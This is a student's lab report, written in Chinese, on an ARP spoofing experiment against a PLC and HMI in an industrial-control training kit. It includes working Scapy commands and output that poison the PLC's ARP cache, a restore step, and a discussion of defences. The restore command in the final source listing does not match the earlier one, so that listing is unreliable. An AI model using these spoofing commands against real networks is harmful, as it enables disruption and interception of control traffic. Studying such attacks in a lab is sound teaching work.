物联网安全课程实验报告

实验四

实验名称：ARP 欺骗攻击实验

姓名：_____郭裕彬_____

小组：____郭裕彬 于洋淼 杨雄峰_____

学号：_____2114052_____

专业：_____物联网工程_____

提交日期：_____2023.11.22_____

一、实验目的

理解 ARP 协议及 ARP 攻击基本原理，学习 Python 下的网络编程库 Scapy 的基本使用，并在实验环境中实现 ARP 攻击，理解保障系统安全的复杂性。

二、实验要求及要点

- 分组（1-4 人）完成实验内容，**单独撰写**实验报告，回答问题，且报告内容至少包括如下要点。
- 问题：
    - 1）为什么攻击后需要复原现场？
    - 2）本实验的攻击效果与实验二中指令攻击的攻击效果有何异同？为什么？
    - 3）本实验中的 ARP 欺骗攻击对实验三中受到加密保护的系统是否有效？为什么？
    - 4）简要探讨 ARP 攻击防范措施。
- 要点：
    - 用到的相关工具及编程库简介
    - 实验原理
    - 实验目标与步骤（搭配实验过程照片、截图）
    - 遇到的问题及解决办法
    - 收获与感悟
    - 指令攻击源代码

三、实验内容

用到的相关工具及编程库简介

Scapy

Scapy 是一个 Python 程序，它允许用户发送、嗅探、分析和伪造网络包。

这种能力允许构建能够探测、扫描或攻击网络的工具。

Scapy 是一个强大的交互式包操作程序。它能够伪造或解码大量协议的数据包，在网络上发送它们，捕获它们，匹配请求和响应，等等。Scapy 可以轻松地处理大多数经典任务，如扫描、跟踪、探测、单元测试、攻击或网络发现。

Kali

kali 是一个基于 Linux kernel 的操作系统，该系统从 BackTrack 发展而来。而 BT 是 2006 年推出的一个用于渗透测试及黑客攻防的专用平台，基于 Knoppix（linux 的一个发行版）开发。2013 年 offensive Security 的 Mati Aharoni 和 Devon Kearns 基于 Debian 重新实现了 BackTrack，新的产品命名为 kali，旨在进行高级渗透测试和安全审计，包含数百种工具，适用于各种信息安全任务，如渗透测试，安全研究，计算机取证和逆向工程。

实验原理

ARP 攻击或欺骗的原理是攻击者通过发送伪造虚假的 ARP 报文(广播或单播)，宣称自己是某个 IP 的 MAC 地址，使询问者错误的更新 ARP 缓存表，这样被欺骗主机发送的数据就会发送到发起攻击的主机，从而实现的攻击或欺骗。Scapy 能够伪造这样一种 ARP 请求包或响应包，自动地对目标设备进行 ARP 欺骗攻击。

使用 Python Scapy 对工控试验箱 PLC 进行 ARP 攻击实验，达到拒绝服务攻击效果。

打开 Scapy，使用命令 p = sr1(ARP(pdst = “192.168.1.3”))请求 PLC 的 MAC 地址，同理，通过端口扫描得到 HMI 设置的 IP 地址 192.168.1.8，也请求与之对应的 MAC 地址。

```
>>> p = sr1(ARP(pdst="192.168.1.3"))
Begin emission:
Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
  hwtype    = Ethernet (10Mb)
  ptype     = IPv4
  hwlen     = 6
  plen      = 4
  op        = is-at
  hwsrc     = e0:dc:a0:36:b9:4b
  psrc      = 192.168.1.3
  hwdst     = 00:0c:29:5d:f0:2d
  pdst      = 192.168.1.128
###[ Padding ]###
     load       = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

>>> h = sr1(ARP(pdst="192.168.1.8"))
Begin emission:
Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
>>> h.show()
###[ ARP ]###
  hwtype    = Ethernet (10Mb)
  ptype     = IPv4
  hwlen     = 6
  plen      = 4
  op        = is-at
  hwsrc     = e0:dc:a0:30:63:57
  psrc      = 192.168.1.8
  hwdst     = 00:0c:29:5d:f0:2d
  pdst      = 192.168.1.128
###[ Padding ]###
```

构造 ARP 包，伪装成 HMI 对 PLC 进行 ARP 欺骗攻击。其中，hwsrc 从原本的 HMI 自己的 MAC 地址更改为 kali 虚拟机虚拟网卡的 MAC 地址 00:0c:29:5d:f0:2d，这样一来，发送给 PLC 的 ARP 应答包中就把 HMI 的 IP 地址与攻击者的 MAC 地址绑定，PLC 收到这个应答后就会把这个记录在缓存表中，实现伪装攻击。

```
>>> attack=sr1(ARP(psrc="192.168.1.8",hwsrc="00:0c:29:5d:f0:2d",pdst="192.168.1.3",hwdst="e0:dc:a0:36:b9:4b
... : ",op=2))
Begin emission:
Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
```

复原现场，发送原本对应关系的 ARP 包。

```
>>> attack=sr1(ARP(psrc="192.168.1.8",hwsrc="e0:dc:a0:30:63:57",pdst="192.168.1.3",hwdst="00:0c:29:5d:f0:2d
... ",op=2))
Begin emission:
Finished sending 1 packets.
^C
Received 2 packets, got 0 answers, remaining 1 packets
```

（可选）基于双向 ARP 欺骗实现中间人攻击，分析上位机与 PLC 通信流量，并对上位机开展数据欺骗攻击，达到 HMI 显示与实际硬件显示不一致的效果。

通过对换上述指令中参数的信息，我们能够做到向 HMI 伪装成 PLC 的功能，但由于 HMI 每间隔一段时间会自动重新广播以建立映射对应关系，所以要成功伪装成中间人需要用一个线程持续地发送 ARP 包，再作为中间人收包发包进行数据欺骗，具体实现时，例如，我们可以重复发送 HMI 下达的某个指令而不给 HMI 转发 PLC 反馈的包，实现数据欺骗的效果。这一功能的实现需要编写程序完成收包、转发、选择性重发等逻辑，囿于时间因素，我们最终没有完成这个题目。

四、回答问题

1. 为什么攻击后需要复原现场？

这次实验是通过 ARP 欺骗攻击修改设备的 ARP 缓存数据来实现的，如果实验后不进行恢复会导致 PLC 和 HMI 之间无法正常进行其他实验需要的通信。而实际上设备内部有定时广播 ARP 的逻辑，即使没有手动复原，在一定时间之后两个设备也能够恢复正常通信。

2. 本实验的攻击效果与实验二中指令攻击的攻击效果有何异同？为什么？

实验二的指令重放攻击会直接向 PLC 发送 STOP 指令以停止 PLC 核心的工作，使其无法对外来的任何控制信号做出响应；本次实验只是相当于切断了 HMI 和 PLC 之间的通信，使 HMI 无法对 PLC 作出控制，而物理按钮的控制信号任然有效，并且 PLC 仍然在正常工作。

总的来说，本实验攻击成功后能够“替代”源主机，直接取代源主机与被攻击设备进行通信，而实验二的重放攻击是“伪装”成源主机，通过重放皆获得数据包来使被攻击设备执行某种操作；前者的优势在于取得了身份后就可以得到一切的信息、改变正常的通信流执行不同的指令，后者只能复现截获的操作，不能任意构造攻击指令；但前者只能在一个局域网内对其他设备进行攻击。但两者实际上都是改变了一个设备对于另一个设备的通信流的准确性，对被攻击设备实现了越权越级指令的执行。

3. 本实验中的 ARP 欺骗攻击对实验三中受到加密保护的系统是否有效？为什么？

实验三实现的加密保护只是对数据包中的内容进行加密，因此只具有这个保护功能的系统并不能阻止 ARP 攻击；攻击者通过双向 ARP 欺骗攻击成为中间人后，依旧能够通过截获转发数据包实现中间人攻击。

4. 简要探讨 ARP 攻击防范措施

（1）静态 ARP 绑定

管理员根据局域网所有电脑的 MAC 和 IP 地址，进行设备之间的一一绑定，通讯时依照静态绑定的对应关系进行检查。但这种方式费时费力，动态性差。

（2）动态 ARP 检测（使用 DHCP 侦听技术）

交换机记录每个接口对应的 IP 地址和 MAC，即 port<->mac<->ip，生成 DAI 检测表。交换机检测每个接口发送过来的 ARP 回应包，根据 DAI 表判断是否违

规，若违规则丢弃此数据包并对接口进行惩罚。

（3）ARP 防火墙

此类防护依靠第三方软件，实现自动绑定静态 ARP 以及其他防御措施。但静态绑定不能保证对应关系的正确性。

五、收获感悟

本次实验通过 ARP 攻击实现了设备入侵，通过实验过程对网络相关课程上初步接触到的 ARP 协议和 ARP 防护加深了理解，对 ARP 防护进行了进一步的查询了解。本实验使用的框架比较完善，通过工具调用即可快速完成相关过程。对比了重放攻击和 ARP 欺骗攻击的异同，加深了宏观上对不同攻击方式、类型的认识。

六、指令攻击源代码

```
p =  sr1(ARP(pdst = “192.168.1.3”))        //获取 PLC 的 MAC 信息
h = sr1(ARP(pdst = “192.168.1.8”))          //获取 HMI 的 MAC 信息
attack=sr1(ARP(psrc=“192.168.1.8”,hwsrc=“00:0c:29:5d:f0:2d”,pdst=“192.168.1.3”,hwdst=“e0:dc:a0:36:b9:4b”,op=2)//对 HMI 执行 PLC 攻击
attack=sr1(ARP(psrc=“192.168.1.3”,hwsrc=“e0:dc:a0:30:63:57”,pdst=“192.168.1.8”,hwdst=“e0:dc:a0:36:b9:4b”,op=2))//复原操作
```